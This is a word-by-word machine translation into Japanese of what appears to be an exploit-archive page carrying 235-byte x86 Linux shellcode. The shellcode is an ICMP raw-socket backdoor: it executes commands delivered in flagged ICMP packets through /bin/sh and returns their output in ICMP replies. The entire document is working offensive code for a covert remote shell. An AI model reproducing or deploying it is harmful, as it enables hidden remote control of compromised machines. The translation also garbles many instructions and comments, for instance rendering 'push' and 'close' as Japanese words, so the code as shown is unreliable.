このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - raw-socket ICMP/checksum 爆撃する - 235 bytes
;
; Copyright (c) 2007 by <mu-b@digit-labs.org>
;
; 235-byte raw-socket ICMP/checksum 爆撃する - (x86-lnx)
; by mu-b - Nov 2006
;
; icmp with identifier __flag_byte and 命令(する)s in the
; に引き続いて 判型:-
;       "/貯蔵所/sh\x00-c\x00<命令(する) here>\x00"
;
; unlike *other* icmp 爆撃するs, this will reply with
; 255-(sizeof icmp_hdr) bytes of 生産(高)..
;

%define zero_reg        esi
%define zero_reg_w      si
%define sock_reg        edi
%define __flag_byte     6996h

全世界の _shell

_shell:
 xor   zero_reg, zero_reg
 mov   ebp, esp

 ; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
_socket:
 lea   ebx, [zero_reg+3]
 押し進める  byte 1
 押し進める  ebx
 dec   ebx
 押し進める  ebx
 dec   ebx
 mov   ecx, esp
 lea   eax, [zero_reg+66h]
 int   80h                 ; socket();
 mov   sock_reg, eax

 ; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &1, 1);
_setsockopt:
 押し進める  ebx
 押し進める  esp
 押し進める  byte 3h
 押し進める  zero_reg
 押し進める  sock_reg
 mov   ecx, esp
 mov   bl, byte 0eh
 mov   al, byte 66h
 int   80h                 ; setsocketopt();

 ; while(1)
_while_loop:
 ; read(sockfd, cmd, 255);
 cdq
 dec   byte dl
 mov   ecx, ebp
 mov   ebx, sock_reg
 lea   eax, [zero_reg+3]
 int   80h                 ; read();

 lea   ebx, [ebp+24]
 xor   [ebx], word __flag_byte
 jne   short _while_loop

 ; 麻薬を吸う(pp)
 lea   ebx, [ebp-8]
 mov   al, byte 2ah
 int   80h                 ; 麻薬を吸う();

 ; fork()
 mov   al, byte 2h
 int   80h                 ; fork();
 実験(する)  eax, eax
 jnz   short _parent

_child:
 ; の近くに(pp[0])
 mov   ebx, [ebp-8]
 mov   al, byte 6h
 int   80h                 ; の近くに();

 ; dup2(pp[1], 0); dup2(pp[1], 1); dup2(pp[1], 2);
 lea   ecx, [zero_reg+3]
 ; pp[1] == pp[0]+1
 inc   ebx

.1:
 dec   ecx
 mov   al, byte 3fh
 int   80h                 ; dup2();
 jnz   .1

 ; execve(cmd + 28, {cmd + 28, cmd + 36, cmd + 39, 0}, 0);
 押し進める  zero_reg
 lea   ebx, [ebp+39]
 押し進める  ebx
 sub   ebx, byte 3
 押し進める  ebx
 sub   ebx, byte 8
 押し進める  ebx
 mov   ecx, esp
 cdq
 mov   al, byte 0bh
 int   80h                 ; execve();

_parent:
 ; の近くに(pp[1])
 mov   ebx, [ebp-4]
 lea   eax, [zero_reg+6]
 int   80h                 ; の近くに();

_parent_read:
.1:
 ; read(pp[0], cmd, bytes_left);
 ; edx == 255
 lea   ecx, [ebp+28]
 mov   ebx, [ebp-8]
 mov   al, byte 3h
 int   80h                 ; read();
 実験(する)  eax, eax
 jl    _while_loop

 mov   al, byte 6h
 int   80h                 ; の近くに();

.2:
 ; 直す/買収する,八百長をする up ttl (optional?! make sure its high!)
 ; mov   [ebp+8], byte 0ffh

 ; switch ip's
 mov   ecx, [ebp+12]
 xchg  [ebp+16], ecx
 mov   [ebp+12], ecx

 ; 始める,決める icmp type to echo reply (optional?!)
 ;mov   [ebp+20], word zero_reg_w
 ; 無 checksum
 ;mov   [ebp+22], word zero_reg_w
 ; 始める,決める icmp type to echo and 無 checksum
 mov   [ebp+20], zero_reg

 lea   ecx, [zero_reg+117]
 lea   esi, [ebp+20]
 cdq

.3:
 lodsw
 追加する   edx, eax
 宙返り飛行  .3

 lodsb
 xor   ah, ah
 追加する   eax, edx
 mov   esi, eax

 shr   eax, byte 16
 movzx esi, si
 追加する   eax, esi
 mov   edx, eax
 shr   edx, byte 16
 追加する   eax, edx
 not   ax

 ; 始める,決める checksum
 mov   [ebp+22], word ax

 cdq
 xor   eax, eax
 xor   zero_reg, zero_reg

 ; struct sockaddr *
 押し進める  zero_reg
 押し進める  zero_reg
 押し進める  dword [ebp+16]
 押し進める  byte 2

 ; sendto(sockfd, cmd, 255, 0, ...);
 mov   ecx, esp
 押し進める  byte 16
 押し進める  ecx
 押し進める  zero_reg
 mov   dl, byte 0ffh
 押し進める  edx
 押し進める  ebp
 押し進める  sock_reg
 mov   ecx, esp
 mov   bl, 0bh
 mov   al, 66h
 int   80h                 ; sendto();

 cdq
 mov   ecx, ebp
 mov   ebx, zero_reg
 mov   al, 72h
 int   80h                 ; wait();

 jmp   _while_loop